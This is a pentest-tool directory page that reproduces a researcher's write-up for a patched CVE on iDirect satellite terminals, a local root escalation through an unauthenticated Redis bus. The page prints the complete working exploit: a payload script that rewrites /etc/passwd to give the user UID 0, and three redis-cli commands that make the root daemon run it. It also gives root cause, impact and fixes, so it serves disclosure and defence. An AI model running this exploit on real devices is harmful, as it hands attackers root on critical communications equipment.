Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-38056-PoC — Proof-of-concept for CVE-2026-38056: unauthenticated Redis IPC bus on iDirect satellite terminals lets any local user trigger root script execution via sysmngr. | Kitploit
Tools/GitHubGitHub/sudo5q/cve-2026-38056-poc
Embedded Systems SecurityPrivilege EscalationIoT SecurityVulnerability AnalysisExploitationPost-ExploitationHardware & IoT SecurityRed Teaming
GitHubsudo5q/cve-2026-38056-poc

CVE-2026-38056-PoC

Proof-of-concept for CVE-2026-38056: unauthenticated Redis IPC bus on iDirect satellite terminals lets any local user trigger root script execution via sysmngr.

21 days agoNot yet reviewed
Share
View Repository

How I Got Root on a Satellite Terminal With 3 Redis Commands

Local Privilege Escalation via Unauthenticated Redis IPC Bus

ICSA-26-183-01  |  CVE-2026-38056  |  CVSS 4.0 9.4 (Critical)  |  CWE-862  |  Patched


Background

The tested device was iQ200 and is manufactured by ST Engineering iDirect. It's a satellite modem you'd find bolted into racks on oil platforms, cargo ships, military field sites and anywhere that needs reliable connectivity where terrestrial links do not reach. The kind of device that gets configured once, placed into a cabinet, and left for years.

I spent a few days poking at it. I ended up finding a several zero-day vulnerabilities, here I will explain only one of them.


The Device

VendorST Engineering iDirect
ProductsiQ‑Series terminals, 3315‑Series terminals, 9‑Series terminals
Firmware<=4.5.2.1
Key ComponentsRedis 3.2.5 (IPC bus), sysmngr (system manager daemon)

A few things jumped out immediately. Redis 3.2.5 from 2016. this is not necessarily exploitable on its own, but it tells you something about the development lifecycle and how much attention security is getting.


Finding the Bug

When I got shell access using the shipped low-priv account (used for field operators), the first thing I did was to look at what was listening.

$ netstat -tlnp

Redis on port 6379 caught my eye. Redis on an embedded satellite modem is unusual, it's typically a server-side technology. I tried connecting:

$ redis-cli PING
PONG

No password. No authentication at all.

That's interesting but not necessarily a vulnerability by itself. Protected-mode was enabled, which blocks remote connections, so Redis was only accessible locally. The question was: what is Redis being used for, and does it control anything sensitive?

I dumped all the keys:

$ redis-cli KEYS '*'

48 keys came back. Most were telemetry and status data, modem state, signal levels, uptime counters. But three keys stood out:

INSTALL_SCRIPT
INSTALL_DIR
INSTALL_START

That looked like a software installation pipeline.

Understanding the Mechanism

I dug into the running processes and found sysmngr the system manager daemon that runs as root. By examining its behavior (watching file access patterns, monitoring process activity, and testing key changes), I figured out how the installation pipeline works:

  1. sysmngr continuously polls the INSTALL_START key using GETSET (read current value, set to zero)
  2. When INSTALL_START transitions to a non-zero value, sysmngr reads INSTALL_SCRIPT
  3. It executes whatever path is in INSTALL_SCRIPT as root
  4. INSTALL_DIR is used as the working directory

No signature check on the script. No path whitelist. No file ownership verification. No permission check. It just runs it.

The design assumption was clear: "only trusted iDirect processes will write to these keys." But Redis has no access control enabled, and redis-cli ships pre-installed on the device. Any local user can write to any key.


The Exploit

The full escalation takes about 10 seconds and requires exactly three commands beyond writing a payload script. No additional tools needed, everything is already on the device.

Start as an unprivileged user:

$ whoami
testuser
$ id
uid=1002(testuser) gid=1002(testuser) groups=1002(testuser)

Write a payload:

$ mkdir -p /tmp/pkg
$ cat > /tmp/escalate.sh << 'EOF'
#!/bin/sh
sed -i 's/^testuser:x:1002:1002/testuser:x:0:0/' /etc/passwd
EOF
$ chmod +x /tmp/escalate.sh

Trigger execution:

$ redis-cli SET INSTALL_DIR /tmp/pkg
OK
$ redis-cli SET INSTALL_SCRIPT /tmp/escalate.sh
OK
$ redis-cli SET INSTALL_START 1
OK

Wait two seconds. Log back in:

$ ssh [email protected]
$ whoami
root
$ id
uid=0(root) gid=0(root)

That's it. testuser went from UID 1002 to UID 0.

The payload I used here is simple, it just edits /etc/passwd to change the UID. But once you have arbitrary script execution as root on this device, the possibilities are wide open: persistent backdoors, firmware modification, traffic interception, credential harvesting, satellite link manipulation, lateral movement to other network devices.


Root Cause

Two design flaws chain together:

1. Redis IPC bus has no access control.

Redis is deployed as a shared bus between system processes with no authentication (requirepass is empty). The implicit trust model assumes only iDirect processes will connect. That assumption breaks the moment any user gets shell access, because redis-cli is pre-installed and there's nothing stopping a local user from reading or writing every key on the bus.

2. sysmngr executes scripts without validation.

The software installation pipeline trusts the INSTALL_SCRIPT value unconditionally. The script doesn't need to be in a specific directory, doesn't need to be signed, doesn't need to be owned by root, and doesn't need to pass any integrity check. sysmngr just executes it.

Either flaw alone would be a finding. Together, they create a reliable and trivial privilege escalation chain.

The underlying mistake is a common one in embedded systems: treating "local" as equivalent to "trusted." In a multi-user system, especially one where field technicians get restricted accounts, localhost is not a trust boundary. Processes running as different users on the same machine are not equally privileged, and the IPC mechanisms between them need to enforce that.


Impact

This is not a theoretical vulnerability. The exploit is trivial, reliable, and uses only pre-installed tools.

For this specific device:

  • Any unprivileged user can become root
  • The idirect user (UID 1500), intended to be a restricted account for field technicians, can exploit this
  • Root access gives full control: firmware modification, persistent backdoors, traffic interception, satellite link manipulation, credential theft

For fleet deployments:

  • VSAT terminals are deployed across oil & gas, maritime, defense, and remote infrastructure worldwide
  • In environments with shared restricted accounts, this vulnerability breaks the entire privilege isolation model
  • A single compromised terminal can serve as a pivot point for lateral movement

CVSS

9.4 (Critical) CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H


Recommendations

ST Engineering iDirect has fixed the vulnerabilitY and recommend users update the software to version 4.5.3.0 or newer.

1. Add Redis authentication. Set a strong requirepass in /etc/idirect/redis.conf and update all iDirect processes to authenticate. This is the minimum viable fix.

2. Bind Redis to loopback only. Set bind 127.0.0.1 to eliminate any network exposure. (Protected-mode helps, but explicit binding is defense in depth.)

3. Validate scripts before execution. This is the most important fix. sysmngr should verify that any script it executes:

  • Lives in a whitelisted directory (/mnt/active0/, /mnt/active1/, /mnt/factory/)
  • Is part of a signed software package
  • Is owned by root with appropriate permissions

Even if Redis authentication is bypassed, this breaks the escalation chain.

4. Add host-based firewall rules. iptables -A INPUT -p tcp --dport 6379 -i eth1 -j DROP defense in depth against Redis network exposure.


Final Thoughts

Satellite terminals occupy a strange blind spot in security. They're critical infrastructure, literally the only communications link for offshore rigs, remote industrial sites, and maritime vessels, but they don't get the same scrutiny as routers, firewalls, or servers. They're embedded devices running ancient software stacks, managed by networking teams rather than security teams, and they sit in racks where nobody touches them for years.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    546
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    477
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    377
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    324
  • 5

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    269
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    252

Explore all tools

Browse our collection of tools

View all tools →